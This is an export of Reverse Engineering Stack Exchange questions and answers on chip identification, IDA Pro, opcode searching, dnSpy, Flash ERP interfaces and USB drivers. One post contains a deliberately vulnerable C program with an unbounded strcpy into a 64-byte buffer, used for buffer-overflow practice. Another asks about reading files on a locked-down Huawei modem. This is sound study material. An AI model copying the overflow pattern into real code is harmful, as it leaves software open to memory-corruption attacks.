  <row Id="26668" PostTypeId="1" CreationDate="2020-12-30T02:06:30.583" Score="2" ViewCount="342" Body="&lt;p&gt;I have a toy that simply consists of a button which plays a variety of phrases when activated. My intention is to replace the sounds with my own. However, I have been unable to identify the chip and therefore cannot interface with it.&lt;/p&gt;&#xA;&lt;p&gt;Here is a picture and schematic of the board, developed using a multimeter in continuity mode.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wTIYJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wTIYJ.jpg&quot; alt=&quot;circuit board&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NLEWH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NLEWH.png&quot; alt=&quot;board schematic&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is a closeup of the chip.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YePfS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YePfS.jpg&quot; alt=&quot;chip&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I believe the markings are as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JFK8-4&#xA;P04003&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There is also a &amp;quot;triforce&amp;quot; logo, for a company which I have not identified yet.&lt;/p&gt;&#xA;&lt;p&gt;Pins 1 and 8 are particularly interesting, as they are not connected to anything. I assume they were used to program the chip, but am not able to identify a protocol if any exists.&lt;/p&gt;&#xA;&lt;p&gt;It would be appreciated if anyone can locate a datasheet. I would also be happy with advice on identifying the function of the unconnected pins.&lt;/p&gt;&#xA;" OwnerUserId="35383" LastActivityDate="2023-05-01T20:21:42.117" Title="Chip Identification in Push Button Toy" Tags="|hardware|embedded|integrated-circuit|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26669" PostTypeId="1" AcceptedAnswerId="26677" CreationDate="2020-12-30T09:19:41.577" Score="3" ViewCount="844" Body="&lt;p&gt;IDA Pro 7.2 has a new functionality named &lt;code&gt;force new variable&lt;/code&gt;.&#xA;See:&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/18365/how-do-i-resolve-ida-pro-hexrays-aliased-local-variables&quot;&gt;Here&lt;/a&gt; and &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/cmd_force_lvar.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But it is only efficient for stack-based variables. How can I force a new variable for a register-based variables?&lt;/p&gt;&#xA;" OwnerUserId="35069" LastEditorUserId="31278" LastEditDate="2020-12-30T09:22:18.757" LastActivityDate="2020-12-31T04:01:31.983" Title="IDA Pro &quot;force new variable&quot; for register variable?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26670" PostTypeId="1" CreationDate="2020-12-30T10:11:55.950" Score="6" ViewCount="2710" Body="&lt;p&gt;I have modem Echolife HG8245H (V3R016C10S150). I'm using telnet to connect it. I need to read some files from this modem. There's a shell mode I can enter, but it is nerfed badly:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SU_WAP&amp;gt;shell&#xA;&#xA;BusyBox v1.18.4 (2016-10-11 19:35:35 CST) built-in shell (ash)&#xA;Enter 'help' for a list of built-in commands.&#xA;&#xA;profile close core dump  &#xA;WAP(Dopra Linux) # ?  &#xA;exit  &#xA;getcustominfo.sh  &#xA;restorehwmode.sh  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;These are all commands I can do in this mode. There is another way to look at the directories:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SU_WAP&amp;gt;wap list path /    &#xA;bin  &#xA;boot  &#xA;dev  &#xA;etc  &#xA;html  &#xA;lib  &#xA;libexec  &#xA;linuxrc  &#xA;mnt  &#xA;proc  &#xA;root  &#xA;sbin  &#xA;share  &#xA;sys  &#xA;tmp  &#xA;uer   &#xA;usr  &#xA;var  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It works like 'ls'. But I can not read any file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SU_WAP&amp;gt;wap list path /var/wifi.txt  &#xA;/var/wifi.txt  &#xA;success!  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Commands like 'cat' aren't working. Does anybody know is there any way to read these files if you're connecting modem through telnet? Maybe this is not possible with this firmware?&lt;br /&gt;&#xA;Thank you:)&lt;/p&gt;&#xA;" OwnerUserId="35385" LastEditorUserId="24222" LastEditDate="2020-12-31T17:19:54.833" LastActivityDate="2024-03-17T18:06:55.937" Title="Huawei HG8245H, can't read some system files" Tags="|firmware|linux|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="26671" PostTypeId="2" ParentId="26632" CreationDate="2020-12-30T10:56:34.960" Score="1" Body="&lt;p&gt;I read about similar issue with ZTE modem:   &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11626/zte-encrypted-backup-config-file&quot;&gt;ZTE encrypted backup config file&lt;/a&gt;&lt;br /&gt;&#xA;It was ZLIB-compressed and encrypted with AES in ECB mode with a 16-byte key. You can read this topic, maybe it can work for your modem too.&lt;/p&gt;&#xA;" OwnerUserId="35385" LastActivityDate="2020-12-30T10:56:34.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26672" PostTypeId="1" AcceptedAnswerId="26681" CreationDate="2020-12-30T16:57:57.493" Score="1" ViewCount="147" Body="&lt;p&gt;I'm trying to learn Buffer Overflow&#xA;Here is the vulnerable code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int main(int argc, char const *argv[])&#xA;{&#xA;    char buffer[64];&#xA;&#xA;    if(argc &amp;lt; 2){&#xA;        printf(&amp;quot;The number of argument is incorrect\n&amp;quot;);&#xA;        return 1;&#xA;    }&#xA;    strcpy(buffer, argv[0]);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The problem is that when I try to run the code in Immunity Debugger, I don't see AAAAAAA in the source in the stack pane I see the path to my test.exe. Later, I don't see 0x41s ....obviously&lt;/p&gt;&#xA;&lt;p&gt;What is happening ?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LVlMD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LVlMD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35388" LastActivityDate="2021-01-01T14:54:08.787" Title="Immunity Debugger showing path instead of argv[1]" Tags="|immunity-debugger|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26674" PostTypeId="1" CreationDate="2020-12-30T18:03:10.853" Score="1" ViewCount="642" Body="&lt;p&gt;I have dis-assmebled binary and want to check if it contains particular sequence of opcodes(obtained from other reference binary). how to do that . i know plain byte&#xA;level comparison wont work as as memory address etc may differ.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;example :&#xA;0000001806991C0                 push    rdi&#xA;.text:00000001806991C1                 sub     rsp, 30h&#xA;.text:00000001806991C5                 mov     [rsp+38h+var_18], 0FFFFFFFFFFFFFFFEh&#xA;.text:00000001806991CE                 mov     [rsp+38h+arg_0], rbx&#xA;.text:00000001806991D3                 mov     rdi, rcx&#xA;.text:00000001806991D6                 lea     rbx, [rcx+60h]&#xA;.text:00000001806991DA                 lea     rax, off_180B6BED0&#xA;.text:00000001806991E1                 mov     [rbx], rax&#xA;.text:00000001806991E4                 xor     r8d, r8d&#xA;.text:00000001806991E7                 lea     rdx, nullsub_1&#xA;.text:00000001806991EE                 mov     rcx, rbx&#xA;.text:00000001806991F1                 call    sub_1800A4160&#xA;.text:00000001806991F6                 mov     rcx, rbx&#xA;.text:00000001806991F9                 call    sub_1800A4148&#xA;.text:00000001806991FE                 xchg    ax, ax&#xA;.text:0000000180699200                 lea     rdx, sub_180259E24&#xA;.text:0000000180699207                 lea     rcx, [rdi+50h]&#xA;.text:000000018069920B                 call    sub_180079CEC&#xA;.text:0000000180699210                 lea     rcx, [rdi+50h]&#xA;.text:0000000180699214                 call    sub_1800A74C4&#xA;.text:0000000180699219                 lea     rax, off_180BE6328&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35389" LastEditorUserId="3473" LastEditDate="2020-12-30T18:16:46.453" LastActivityDate="2021-01-03T00:18:39.493" Title="finding sequence of opcode in binary" Tags="|ida|disassembly|binary-analysis|static-analysis|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26675" PostTypeId="2" ParentId="26674" CreationDate="2020-12-30T20:18:42.897" Score="2" Body="&lt;p&gt;Depending on the specific instruction set encoding, &lt;em&gt;regular expressions&lt;/em&gt; operating on the binary itself may be flexible enough to ignore the parts which would change based on address.&lt;/p&gt;&#xA;&lt;p&gt;Piping the code through a naive disassembler and running the regular expression engine on the textual ouptut may be preferable to doing so on the binary as it's a lot easier to wire rules that ignore particular operands when they've been split out (though you would now be doing a multi-line match)&lt;/p&gt;&#xA;&lt;p&gt;Sometimes it's not worth worrying about the &lt;em&gt;right&lt;/em&gt; tool for the job, but just whipping up some code in your favorite language-of-convenience (today, probably python) to solve a one-time need.&lt;/p&gt;&#xA;&lt;p&gt;It's also quite possible you could just do this with a text editor to find &lt;em&gt;part&lt;/em&gt;  of the pattern and then manually check the candidates for a complete match./&lt;/p&gt;&#xA;" OwnerUserId="2054" LastActivityDate="2020-12-30T20:18:42.897" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26676" PostTypeId="2" ParentId="26674" CreationDate="2020-12-30T21:22:28.277" Score="1" Body="&lt;p&gt;Would disassembly, split off the instruction column, then diff, followed by manually comparing using side-by-side text editors (of the disassembled output of each) be fast and simple enough for a one off use.&lt;/p&gt;&#xA;&lt;p&gt;Otherwise you need a &lt;em&gt;smart&lt;/em&gt; comparison that knows that registers and memory locations can be interchanged for each other as long as each is consistent throughout; resulting in the same output - and thus each section of code having an identical function, those sections would be a copy of each other.&lt;/p&gt;&#xA;&lt;p&gt;It depends on how much code you have to check and how often you intend to do this.&lt;/p&gt;&#xA;&lt;p&gt;One advantage of the so-called smart comparison is that it can iterate over the code, shifting by one address, and find every possible way to match; resulting in a few false positives that need to be manually identified.&lt;/p&gt;&#xA;&lt;p&gt;A disadvantage of relying on a disassembler is that it can miss (or go out of sync) and fail to disassemble a few sections of code; leaving some possible matches (or near matches) unfound - leading to a Copyright claim.&lt;/p&gt;&#xA;&lt;p&gt;A program capable of an exhaustive comparison may be more useful than one that only discovers low hanging fruit. It's a matter of the intended end-use and the investment in the project necessary for the results that are expected to be had.&lt;/p&gt;&#xA;" OwnerUserId="27133" LastActivityDate="2020-12-30T21:22:28.277" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26677" PostTypeId="2" ParentId="26669" CreationDate="2020-12-31T04:01:31.983" Score="5" Body="&lt;p&gt;You can't, not as a standard command that's currently available through the user interface, anyway. Force new variable only works for stack locations. Perhaps a future version of Hex-Rays will allow the user to force new register variables.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-12-31T04:01:31.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26678" PostTypeId="2" ParentId="3047" CreationDate="2020-12-31T09:14:02.140" Score="1" Body="&lt;p&gt;IDA introduced &amp;quot;Variable Length Structures&amp;quot; and describe the usage of it with a very straight forward &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/varstr/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In short, you need to make sure the &amp;quot;flexible&amp;quot; item is the last item of the struct, and define it as an array of size 0. To do this, define a new struct member &lt;code&gt;char Name&lt;/code&gt;, click on it and press &lt;kbd&gt;*&lt;/kbd&gt;. Then, set the &amp;quot;Array size&amp;quot; to 0.&lt;/p&gt;&#xA;&lt;p&gt;Now, the shortcoming is that IDA won't look for a null terminator to define the string, but instead, you'd have to tell it its size every time you want to use the structure.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2020-12-31T09:14:02.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26680" PostTypeId="2" ParentId="26674" CreationDate="2020-12-31T14:26:43.050" Score="1" Body="&lt;p&gt;It sounds like you just want to search a binary file for some sequence of binary values. Maybe I've misread and it's more complicated than that.&lt;/p&gt;&#xA;&lt;p&gt;I'd start with good old grep.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cat binary.exe |  xxd -p | tr -d '\n' | grep -o -e '774b'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Send your binary through &lt;code&gt;xxd -p&lt;/code&gt; to turn it into a hex string.&lt;/p&gt;&#xA;&lt;p&gt;Remove the new lines with &lt;code&gt;tr -d '\n'&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The hand it off to &lt;code&gt;grep -o -e '774b'&lt;/code&gt; to search for hex value &lt;code&gt;774b&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;-o&lt;/code&gt; flag limits grep to only show the match, not the entire line (or file in this case as it's been turned into a single hex string line.&lt;/p&gt;&#xA;&lt;p&gt;If you'd like to see some characters (bytes) before and after the match, add dots (&lt;code&gt;.&lt;/code&gt;) for example &lt;code&gt;grep -o -e '....774b....'&lt;/code&gt; to see 2 bytes before and 2 bytes after the match.&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-12-31T17:46:21.580" LastActivityDate="2020-12-31T17:46:21.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26681" PostTypeId="2" ParentId="26672" CreationDate="2021-01-01T14:54:08.787" Score="1" Body="&lt;p&gt;To get the program’s argument, you need to check &lt;code&gt;argv[1]&lt;/code&gt; instead of &lt;code&gt;argv[0]&lt;/code&gt;. From &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/main_function&quot; rel=&quot;nofollow noreferrer&quot;&gt;cppreference&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The parameters of the two-parameter form of the main function allow&#xA;arbitrary multibyte character strings to be passed from the execution&#xA;environment (these are typically known as command line arguments), the&#xA;pointers &lt;code&gt;argv[1].. argv[argc-1]&lt;/code&gt; point at the first characters in each&#xA;of these strings. &lt;code&gt;argv[0]&lt;/code&gt; is the pointer to the initial character of a&#xA;null-terminated multibyte string that represents the name used to&#xA;invoke the program itself (or an empty string &amp;quot;&amp;quot; if this is not&#xA;supported by the execution environment).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastActivityDate="2021-01-01T14:54:08.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26682" PostTypeId="1" AcceptedAnswerId="26684" CreationDate="2021-01-02T02:36:39.907" Score="2" ViewCount="144" Body="&lt;p&gt;During debugging a binary in IDA Pro, I've noticed types of the form&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;30  uint16_n                            00000002                struct {uint16_t inner;}&#xA;42  uint32_n                            00000004                struct {uint32_t inner;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where the fields in each row from left to right correspond to &lt;code&gt;Ordinal&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;size&lt;/code&gt;, &lt;code&gt;description&lt;/code&gt; in the &lt;strong&gt;Local Types&lt;/strong&gt; subview of IDA Pro. While the sizes seem to match the &lt;code&gt;uintX_t&lt;/code&gt; counterparts, I would appreciate it if someone can explain the reasoning for introducing &lt;code&gt;uintX_n&lt;/code&gt; types and the difference they have with the well known &lt;code&gt;uintX_t&lt;/code&gt; types in which &lt;code&gt;X=8,16,32&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17667" LastActivityDate="2021-01-02T11:14:56.427" Title="What is the difference between uintX_n (used in IDA Pro) and unitX_t types?" Tags="|ida|struct|type-reconstruction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26683" PostTypeId="2" ParentId="23227" CreationDate="2021-01-02T07:38:30.487" Score="3" Body="&lt;p&gt;It's probably AES. I saw config files at HG8245Hv5 and HG8245H5 and passwords are looking similar. A bit (just a bit:D) more info is here: &lt;a href=&quot;https://the-infosec.com/2017/03/20/huawei-hg8245h-router-privilege-escalatio/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://the-infosec.com/2017/03/20/huawei-hg8245h-router-privilege-escalatio/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35385" LastActivityDate="2021-01-02T07:38:30.487" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="26684" PostTypeId="2" ParentId="26682" CreationDate="2021-01-02T11:14:56.427" Score="3" Body="&lt;p&gt;It seems these types are custom to the program you’re analyzing and probably come from the debug information (e.g. DWARF).&lt;/p&gt;&#xA;&lt;p&gt;The standard types from &lt;code&gt;stdint.h&lt;/code&gt;are usually typedefs and not structs.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2021-01-02T11:14:56.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26685" PostTypeId="1" CreationDate="2021-01-02T14:48:48.863" Score="3" ViewCount="104" Body="&lt;p&gt;My college has its ERP platform in a Flash interface, accessible only via Internet Explorer. I am looking into ways I can interface with it via things like &lt;a href=&quot;https://ruffle.rs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ruffle&lt;/a&gt;. So I can write my own frontend using modern frameworks. Thing is, accessing the ERP from anything other Internet Explorer results in the browser download a Flash file &lt;code&gt;campus-lynx.swf&lt;/code&gt;. This means the platform is locked to Windows only. Flashfox on Android works as well.&lt;/p&gt;&#xA;&lt;p&gt;The ERP is available directly at erp.nitdelhi.ac.in or clicking &amp;quot;internet&amp;quot; at the top of nitdelhi.ac.in.&lt;/p&gt;&#xA;" OwnerUserId="35404" LastEditorUserId="245" LastEditDate="2021-01-05T13:09:26.233" LastActivityDate="2021-01-05T13:09:26.233" Title="Reverse Engineering an ERP interface written in Flash" Tags="|flash|websites|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26686" PostTypeId="2" ParentId="26685" CreationDate="2021-01-02T21:08:21.643" Score="3" Body="&lt;p&gt;Intercept the traffic between the browser / plugins and the server. I would start with &lt;a href=&quot;https://www.wireshark.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wireshark&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The traffic between the client and the server will be some form of network requests which you can write code to generate / consume.&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2021-01-04T16:02:40.017" LastActivityDate="2021-01-04T16:02:40.017" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26687" PostTypeId="2" ParentId="26674" CreationDate="2021-01-03T00:18:39.493" Score="0" Body="&lt;p&gt;If you do not necessary want to use IDA, you could use radare2 and then do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;radare2 &amp;lt;your_file&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/x &amp;lt;youropcodes&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/x 900a0b0c90&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To get examples of how to use this command on radare2 you could use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/x?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you necessary want to use IDA pro for your knowledge, you could skip my answer.&lt;/p&gt;&#xA;" OwnerUserId="25421" LastActivityDate="2021-01-03T00:18:39.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26688" PostTypeId="1" AcceptedAnswerId="26689" CreationDate="2021-01-03T00:53:06.007" Score="0" ViewCount="2732" Body="&lt;p&gt;I am very unsure if this is the right place to as or if I need to ask this at another forum, but here it goes.&lt;/p&gt;&#xA;&lt;p&gt;I am trying to reverse engineer a .NET program with the use of dnspy. I installed dnspy with &lt;code&gt;choco install dnspy&lt;/code&gt;. I was then able to start dnspy in by calling it in pwsh, but when debugging the program I get the following error &lt;code&gt;Could not start the debugger. Use 32-bit dnSpy to debug 32-bit applications&lt;/code&gt;. I then &lt;a href=&quot;https://buildfunthings.com/posts/reversing-tear-or-dear/&quot; rel=&quot;nofollow noreferrer&quot;&gt;found this link&lt;/a&gt; that said to restart the debugger with &lt;code&gt;dnspy-x86&lt;/code&gt;. But still the debugger is 64 bit. I also tried to run dnspy by running &lt;code&gt;dnspy -x86&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I see &lt;a href=&quot;https://chocolatey.org/packages/dnspy#virus&quot; rel=&quot;nofollow noreferrer&quot;&gt;here &lt;/a&gt; in chocolatey.org that the 32 bit is checked in virustotal. But I am unsure if the 32-bit version is included. I also cant find any information on flags or parameters dnspy is able to take.&lt;/p&gt;&#xA;&lt;p&gt;My question is if dnspy 32 bit is installed by using choco or if one has to install the 32-bit manually. And if dnspy 32 bit is installed with choco, how do I start it in 32 bit.&lt;/p&gt;&#xA;" OwnerUserId="31468" LastActivityDate="2021-01-03T02:57:05.520" Title="dnSpy: how to start 32 bit version" Tags="|.net|dnspy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26689" PostTypeId="2" ParentId="26688" CreationDate="2021-01-03T02:57:05.520" Score="3" Body="&lt;p&gt;By default &lt;a href=&quot;https://github.com/chocolatey/choco&quot; rel=&quot;nofollow noreferrer&quot;&gt;choco&lt;/a&gt; doesn't want to install 32bit if you are on 64bit system. But, with a little bit of effort, I found that to install 32bit you will need to add either add: &lt;strong&gt;--x86&lt;/strong&gt; or &lt;strong&gt;--forcex86&lt;/strong&gt; to force x86 (32bit) installation on 64 bit systems.&lt;/p&gt;&#xA;&lt;p&gt;To download dnspy 32 bit you would run: &lt;code&gt;choco install dnspy --x86&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, you can go to &lt;a href=&quot;https://github.com/dnSpy/dnSpy/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt; github and download it from there.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;For next time please refer to &lt;a href=&quot;https://docs.chocolatey.org/en-us/choco/commands/install&quot; rel=&quot;nofollow noreferrer&quot;&gt;choco install&lt;/a&gt; docs and read the entire &lt;a href=&quot;https://reverseengineering.stackexchange.com/help/asking&quot;&gt;help section&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I hope you learn something new today ☺&lt;/p&gt;&#xA;" OwnerUserId="35367" LastActivityDate="2021-01-03T02:57:05.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26690" PostTypeId="1" CreationDate="2021-01-03T09:34:42.010" Score="2" ViewCount="215" Body="&lt;p&gt;I want to ask can I use windows 10 for malware analysis, I'm asking this because I see many reversers and analysts using windows 7 for this purpose. Can anyone please guide me?&lt;/p&gt;&#xA;" OwnerUserId="34958" LastActivityDate="2021-01-03T13:18:38.290" Title="Using windows 10 for malware analysis" Tags="|ida|disassembly|windows|malware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26691" PostTypeId="2" ParentId="26690" CreationDate="2021-01-03T13:18:38.290" Score="2" Body="&lt;p&gt;Yes, Windows 10 can be used for malware analysis.  All the modern RE tools, such as IDA Pro, Ghidra, Binary Ninja, etc. run on it.&lt;/p&gt;&#xA;" OwnerUserId="4658" LastActivityDate="2021-01-03T13:18:38.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26692" PostTypeId="2" ParentId="26685" CreationDate="2021-01-03T15:40:04.097" Score="3" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;My college has its erp platform in a flash interface, accesible only via Internet Explorer.&#xA;Thing is, accessing the erp from amything other internet explorer results in the browser download a flash file &amp;quot;campus-lynx.swf&amp;quot;. This means the platform is locked to windows only.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You are obviously wrong. Application work in firefox without any problems. Even site itself state &amp;quot;Best Peformed With Mozilla FireFox Version 2 and above&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Most recent Firefox versions start dropping Flash support, that may be the case. But you always can install portable version of Firefox 52 without this issue.&lt;/p&gt;&#xA;&lt;p&gt;Judging by controls look and feel the application was build with Adobe Flex Builder.&lt;/p&gt;&#xA;&lt;p&gt;There was several commercial Flash decompilers such as &lt;a href=&quot;https://www.eltima.com/products/flashdecompiler/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eltima.com/products/flashdecompiler/&lt;/a&gt;&#xA;You can try to decompile SWF file to figure out protocols being used.&lt;/p&gt;&#xA;&lt;p&gt;Most probably there is something standard such as XML or &lt;a href=&quot;https://en.wikipedia.org/wiki/Action_Message_Format&quot; rel=&quot;nofollow noreferrer&quot;&gt;Action Message Format&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;UPD: Network activity tab in browser clearly indicate usage of AMF protocol. There is a plenty of AMF support libraries for various programming languages. Google it.&lt;/p&gt;&#xA;" OwnerUserId="22704" LastEditorUserId="22704" LastEditDate="2021-01-03T15:57:35.010" LastActivityDate="2021-01-03T15:57:35.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26694" PostTypeId="2" ParentId="26439" CreationDate="2021-01-04T00:06:33.433" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;First I would find the h/w device ID from device manager. i.e. USB\VID_045E&amp;amp;PID_0766. In some cases you can find existing open source drivers for closely matching device IDs and make them work with minimal modifications.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Is the application actually installing 3rd party drivers, the two drivers you mention ksthunk.sys and usbvideo.sys are Microsoft drivers built into Windows.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Drivers using USBVIDEO.sys follow the specifications laid out here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/stream/usb-video-class-driver-overview&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows-hardware/drivers/stream/usb-video-class-driver-overview&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The tool &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/stream/avstream-testing-and-debugging&quot; rel=&quot;nofollow noreferrer&quot;&gt;USBView&lt;/a&gt; which is part of the Windows Driver Kit can extract more info about the USB device.&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;USB tracing can assist workout more details around the communication, using a tool such as &lt;a href=&quot;https://wiki.wireshark.org/CaptureSetup/USB&quot; rel=&quot;nofollow noreferrer&quot;&gt;WireShark&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;An analysis of the setup program for the driver can work out further information. This is a fairly complex topic though but some methods could include:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;a) Use a tool to monitor driver installation such as ProcMon (&lt;a href=&quot;http://live.sysinternals.com/ProcMon.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://live.sysinternals.com/ProcMon.exe&lt;/a&gt;) Generally this works best if driver &amp;amp; application is not installed, you start monitoring then run install program and connect device during trace.&lt;/p&gt;&#xA;&lt;p&gt;b) Static analyze the installer using tools such as &lt;a href=&quot;https://github.com/Bioruebe/UniExtract2&quot; rel=&quot;nofollow noreferrer&quot;&gt;UniExtract&lt;/a&gt; , &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/msi/orca-exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;Orca&lt;/a&gt; (if MSI), then analyse the executable contents with reverse engineering tools such as &lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt; or &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Pro&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2021-01-04T00:06:33.433" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
